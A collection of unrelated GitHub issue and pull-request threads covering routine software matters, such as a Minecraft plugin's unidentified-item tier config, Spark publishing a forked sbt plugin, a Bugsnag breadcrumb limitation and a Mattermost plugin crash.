Mode of dispatch of demand notice

Steps to replicate:

Login as litigant
Submit Case
Make payment
Add errors via FSO login and send back case for correction
Login via litigant and view case

Expected behaviour:
Only fields marked as errors are editable including documents
Screenshots:

Screen Recording 2024-06-24 at 6.21.13 PM.mov

Send screen recording on slack: Screen Recording 2024-06-24 at 6.42.06 PM.mov

This issue is fixed and working as expected in UAT Env.


LEGO: Pull request from lego/hb_2939_20201012230535949 to master

LEGO: Pull request from lego/hb_2939_20201012230535949 to master with localized lcls

running https://github-private.visualstudio.com/microsoft/_build/results?buildId=13533&view=results to verify will e2e


getting multiple hub connection.

Hello Mr. @hosseinmd tashakor for development and maintenance .
I have used the SignalRContext and tried to use SignalRContext.useSignalREffect but I see there are two instance of chatHub going on I think one of them is unnecessary!

I also get this error in the log which I guess we should check Hubconnection.state if it is Disconnected connect it and if it is Connected disconnected.

I found the cause of multiple hub connections it was because of react strict mode.

thank you.


Fix Codeowners for New Team Names

Codeowners updated with new team names and all teams have been added back to the repository with write access.

Was there an APM agent dues fee we missed that resulted in ruby-agent not being changed to ruby as well as part of this? 😄  We can contribute that change separately if need be.

Was there an APM agent dues fee we missed that resulted in ruby-agent not being changed to ruby as well as part of this? 😄 We can contribute that change separately if need be.

It is changed to ruby in this PR already. Not sure what you're looking at exactly.

Was there an APM agent dues fee we missed that resulted in ruby-agent not being changed to ruby as well as part of this? 😄 We can contribute that change separately if need be.

It is changed to ruby in this PR already. Not sure what you're looking at exactly.

My apologies! I think I must have opened the main version of the file pre-PR-merge. Sorry about that, and thanks for squaring these changes away for all of us!


High Tier Unidentified Items Issue

Getting tiered drops dropping from common mobs such as zombies that they are not set to drop - ie a legendary item from a zombie when they're only set to drop common items.
May be an unidentified item issue - some players have reported it was originally unidentified - but surely they should also follow the same tier system?
MD Version: 5.2.0
Server version: Spigot 1.13.2

It's an unidentified item issue, and no, they don't follow the same system. Unidentified Items have no way of knowing what they dropped from without adding extra information to the lore of the Unidentified Item.
I do support parsing the last line of lore of the Unidentified Item and getting a tier from that.
I could potentially add support for placeholders in the lore of the item that could be parsed to determine the entity type.

Adding the tier to the lore of the item when it drops so it can only become an item in that tier would probably help - it kind of defeats the point of having the tiers set to drop from only certain mob types if an unidentified item dropped by a mob set to only drop common can be a legendary item

Currently looking at a file structure like this:
version: 4.1.0
items:
  identity-tome:
    name: '&5Identity Tome'
    lore:
    - '&7Right-click while holding this tome'
    - '&7over an &dUnidentified Item'
    - '&7to identify it!'
  unidentified:
    name: '&dUnidentified Item'
    lore:
    - '&7Find an &5Identity Tome &7to'
    - '&7identify this item!'
    - ''
    - '%droppedby%'
    - '%allowabletiers%'
    allowable-tiers-prefix: '&7Tiers: (&F'
    allowable-tiers-separator: '&7, &F'
    allowable-tiers-suffix: '&7)'
    dropped-by-prefix: '&7Dropped by: &F'
    dropped-by-suffix: ''

Where you could have an Unidentified Item drop from a ZOMBIE configured to drop only common, uncommon, and rare looking like:

Final format:
version: 4.1.0
options:
  unidentified-items-respect-tier-drops: true
items:
  identity-tome:
    name: '&5Identity Tome'
    lore:
    - '&7Right-click while holding this tome'
    - '&7over an &dUnidentified Item'
    - '&7to identify it!'
  unidentified:
    name: '&dUnidentified Item'
    # You can use the following variables in the lore of an unidentified item:
    # %droppedby% - composed of `dropped-by-prefix`, then the mob type, then `dropped-by-suffix`
    # %allowabletiers% - composed of `allowable-tiers-prefix`, then allowable tiers separated by
    #                    `allowable-tiers-separator`, then `allowable-tiers-suffix`
    # %tier% - composed of `tier-prefix`, then the tier name, then `tier-suffix`
    lore:
    - '&7Find an &5Identity Tome &7to'
    - '&7identify this item!'
    - ''
    - '%droppedby%'
    - '%allowabletiers%'
    allowable-tiers-prefix: '&7Tiers: (&F'
    allowable-tiers-separator: '&7, &F'
    allowable-tiers-suffix: '&7)'
    dropped-by-prefix: '&7Dropped by: &F'
    dropped-by-suffix: ''
    tier-prefix: '&7Tier: &F'
    tier-suffix: ''

Ahh this would be awesome


fix(extensions): show Telescope results title

fixes : #124

Thanks for the PR @zackAJ!

Np @scottmckendry I'm on my phone rn,I just read your comment.
Changes aborted ?
I figured the results title's bg to be cyan by noticing other titles.
Ofc you can change it to whatever fits the theme best 😀


[SPARK-15827][BUILD] Publish Spark's forked sbt-pom-reader to Maven Central

Spark's SBT build currently uses a fork of the sbt-pom-reader plugin but depends on that fork via a SBT subproject which is cloned from https://github.com/scrapcodes/sbt-pom-reader/tree/ignore_artifact_id. This unnecessarily slows down the initial build on fresh machines and is also risky because it risks a build breakage in case that GitHub repository ever changes or is deleted.
In order to address these issues, I propose to publish a pre-built binary of our forked sbt-pom-reader plugin to Maven Central under the org.spark-project namespace.
For now, I've staged a release of the plugin at https://oss.sonatype.org/content/repositories/orgspark-project-1124 and have reconfigured the build to use that. This release was built from https://github.com/JoshRosen/sbt-pom-reader/tree/v1.0.0-spark, which contains the contents of @ScrapCodes's branch plus an additional patch to configure the build for artifact publication.
Provided that all of the tests pass and the artifacts look okay, I plan to promote the release to Maven Central and rebase.
/cc @srowen @ScrapCodes for review.

Test build #60189 has started for PR 13564 at commit d407846.

Test build #60189 has finished for PR 13564 at commit d407846.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/60189/
Test PASSed.

Merged build finished. Test PASSed.

Test build #60216 has started for PR 13564 at commit 57199a8.

Thanks for doing this. It will definitely save time, and some CPU cycles(energy) for all the first time builds.

Test build #60216 has finished for PR 13564 at commit 57199a8.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/60216/
Test PASSed.

This is now sync'd to Maven Central and has passed tests, so I'm going to merge it into master, branch-2.0, and branch-1.6.


leaveBreadcrumb doesn't work with object on IOS

Description
I try to add breadcrumbs where metadata is complex object
bugsnag.leaveBreadcrumb('mutation_start', {
        mutation: 'UpdateEmployeeMutation',
        variables: {
          input: {
            employee: {
              telephone: '+3-888-888-88'
            }
          }
        }
      })

Issue
As result I can see only  part of metadata (only first level properties, in this case it's only  mutation: 'UpdateEmployeeMutation',)
Expected result: see all data sent to leaveBreadcrumb

Environment
Library versions:
├─<EMAIL_ADDRESS>└─<EMAIL_ADDRESS>

cocoapods version (if any) (pod -v):

iOS/Android version(s):

simulator/emulator or physical device?: IOS only (simulator and physical device)

debug mode or production?: both

[ ] (iOS only) [BugsnagReactNative start] is present in the
application:didFinishLaunchingWithOptions: method in your AppDelegate
class?

[x] (Android only) BugsnagReactNative.start(this) is present in the
onCreate method of your MainApplication class?

Example code snippet
import { Client, Configuration } from 'bugsnag-react-native';

const configuration = new Configuration()
configuration.autoCaptureSessions = true
const bugsnag = new Client(configuration)

bugsnag.leaveBreadcrumb('GraphQL mutation', {
        mutation: 'UpdateEmployeeMutation',
        variables: {
          input: {
            employee: {
              telephone: '+3-888-888-88'
            }
          }
        }
      })

@AleksandrChernyavenko Note that for breadcrumbs, the metadata object should only be one level deep.
https://docs.bugsnag.com/platforms/react-native/customizing-error-reports/#adding-detailed-breadcrumbs


Use Lock with expiration and retries from ASTO

Recently StorageLock class has been added to ASTO module. It supports lock expiration by timeout, which is useful for automatic release of locks if server came down with lock acquired. There is also RetryLock class which may be used to retry obtaining lock which may fail for different reasons (network failures, competing lock acquire operations etc). Using them will be an improvement over distributed locking used in the project

Job gh:artipie/rpm-adapter#340 is not assigned, can't get performer

@olegmoz thanks

@rultor release, tag=1.1

@rultor release, tag=1.1

@olenagerasimova OK, I will release it now. Please check the progress here

@rultor release, tag=1.1

@olenagerasimova Done! FYI, the full log is here (took me 8min)


TesetMain support

I love this plugin ❤
I think this plugin need to support TestMain.

TestMain is executed before the test function is executed. (Right now, TestMain is not executed when individual tests are run)
exclude TestMain from summary. (Not really important.)

I would like to hear function opinions on TestMain. Thanks.

TestMain is executed before the test function is executed. (Right now, TestMain is not executed when individual tests are run)

Sorry. TestMain is already executed befoer test func is executed.


Removal of trailing whitespace?

Are you interested in removal of trailing whitespace?
I think I have this fixed on https://github.com/peter-toft-greve/nanopb/tree/whitespace - take if you like.
Note that if you have quite a few parallel branches and ongoing PRs you probably want to not clean this up.

It is not generally worth the trouble. It just gets reintroduced either by me or someone else. I edit with various editors with little time to spare and most of them won't strip it.
(And to be honest, I haven't fully understood what is the problem caused by trailing whitespace)

@PetteriAimonen I fully understand - I suggest to close this now


Adds basic tabuate usage example

This PR is part of our 2022 Hacktoberfest team-wide sprint to add usage examples to all Actions in each of our core distribution plugins. The Actions examples have been added for are as follows:
tabulate

NOTE: tabulate should get an additional example for merging multiple metadata files

Tests clean locally, renders in CLI like this:


[Test infra] Enable manual trigger of e2e test

Description
To trigger e2e tests manually, an additional stage needs to be created. Currently, e2e tests can be triggered only through a PR.
Which issue(s) does this PR fix

Fixes https://issues.redhat.com/browse/RHIDP-1436

PR acceptance criteria
Please make sure that the following steps are complete:

[ ] GitHub Actions are completed and successful
[ ] Unit Tests are updated and passing
[ ] E2E Tests are updated and passing
[ ] Documentation is updated if necessary (requirement for new features)
[ ] Add a screenshot if the change is UX/UI related

How to test changes / Special notes to the reviewer

feels like a no-op change here, so I would approve it but you have "WIP" on this PR, and no linked JIRA.

I had "WIP" as it wasn't ready to be reviewed yet. :) Please review when you can. Thanks!

/approve


bugfix/apptoken: missing app token verification codes

add: external client rpc MicroLogic server with app token verification logic.

/cc @daixiang0 @yaron2

@1046102779 please fix CI issues.

@daixiang0  how to solve it?

It is what ths issue exist: https://github.com/dapr/go-sdk/runs/4640394565?check_suite_focus=true#step:8:5022

exist

fixed.

It is what ths issue exist: https://github.com/dapr/go-sdk/runs/4640394565?check_suite_focus=true#step:8:5022

fixed.

@daixiang0 are you ok with this PR? it looks good to me.

@1046102779 please fix DCO issue. LGTM overall.

https://github.com/dapr/go-sdk/pull/236


Add support to use trace propagated from client

Description
Add support to use trace propagated from client.
Related Issues
Resolves #9465

Check List

[x] New functionality includes testing.

[x] All tests pass

[x] New functionality has been documented.

[x] New functionality has javadoc added

[x] Commits are signed per the DCO using --signoff
[x] Commit changes are listed out in CHANGELOG.md file (See: Changelog)

By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.
For more information on following Developer Certificate of Origin and signing off your commits, please check here.

@reta, Please take a look.

@reta Please take a look whenever you get time. Thanks!

@reta, made the changes.

Please resolve the conflicts

Known flaky test: https://github.com/opensearch-project/OpenSearch/issues/9580.

Known flaky test: #2502.

Updated the correct one ;)

@reta, please help with merging this PR. There are some other code changes which are having the lower coverage, dont know why it is coming here.

@Gaganjuneja hehe, surely 2.x needs manual backport ...


Update docs content to use Prismjs syntax highlighting and ref: auto-link options

With #233, the following features were added

#157
#187

Now, we need to update content similar to dvc.org to use them.
cc: @iterative/docs

the following features were added

Can you be specific about which highlighters exist or how to enable them, as well as auto-linking? We'll want to document this at some point anyway (maybe in the docs engine repo README + contrib guides).

Existing highlighters:

dvc

parses on line basis (accepts $ as first character which is skipped while copying)
highlights

dvc commands
git commands
bash commands

dvctable

parses on row/line basis
highlights

white|neutral
yellow|metric
blue|param
violet|dep

usage

highlights

dvc commands
cml commands (addition)
usage commands usage|positional arguments|optional arguments
args highlights the arguments in [--arg] pattern (inside square bracket with double dashes) (auto-linking)

cml (addition)

parses on line basis (accepts $ as first character which is skipped while copying)
highlights

cml commands
git commands
bash commands

Usage:
```dvc | dvctable| usage| cml
respective content
```

Er... Can

cml be an alias of dvc
both of the above highlight all of our tools (dvc/cml/mlem/...)

Can cml be an alias of dvc?

See discussion in https://github.com/iterative/mlem.ai/issues/59 🙂

Yes basically would like this rather than this

Is this still outstanding @yathomasi ? Thanks

Seems like the cli highlighter that's already in closes this issue.

Can cml be an alias of dvc?

Note that the highlighter name is now cli @casperdcl . I think both dvc and cml will be aliases of that but I recommend we use cli going fwd.
Do you want to keep this issue open to update existing content and use the highlighters more?

Unless something has changed, we only have dvc as an alias but we're encouraging moving to full cli, we've already mass replaced instances of  ```dvc in a few repos.


Plugin crashes on 5.28.1

Hi,
The latest plugin release 1.2.0 crashes after upgrade to Mattermost 5.28.1. I can enable it and view the help with /confluence help but then if I try to install a new Confluence server with /confluence install server it fails with this and does not react to any commands anymore. Turning on DEBUG logging didn't show any additional messages.
2020-10-31T11:50:23.620-0400    info    go-plugin@v1.3.0/stream.go:15   2020/10/31 11:50:23 RPC call to GetConfig API failed: reading body gob: bad data: field numbers out of bounds   {"plugin_id": "com.mattermost.confluence", "source": "plugin_stderr"}

2020-10-31T11:50:23.620-0400    info    go-plugin@v1.3.0/stream.go:15   2020/10/31 11:50:23 RPC call to SendEphemeralPost API failed: connection is shut down   {"plugin_id": "com.mattermost.confluence", "source": "plugin_stderr"}

Maybe there is an API change in the new server?
Thanks,
Ilya

@ifeldshteyn, tried to repro locally on plugin:1.2.0 + mm:5.28, the /confluence install server command was successful. Did you try to uninstall/install the plugin; does the previous plugin release works?


"roof/colour" preset doesn't use the new "colour" type

It's great to see the new colour type. It looks like it is only being used by the "colour" field, but not "roof/colour". There are also colors for seamarks but I think those are being treated special already (https://github.com/openstreetmap/id-tagging-schema/issues/512).
Also I think https://github.com/openstreetmap/id-tagging-schema/issues/284 can be closed now.

Thanks for the hint!


Indent and Unindent

Spyder3 has the ability to indent or unindent whole blocks of the code. That is very useful when a large part of the program needs to be rewritten. Are there any plans to implement that in VSCode?

We are tracking auto-indentation via #481. Closing this against that issue.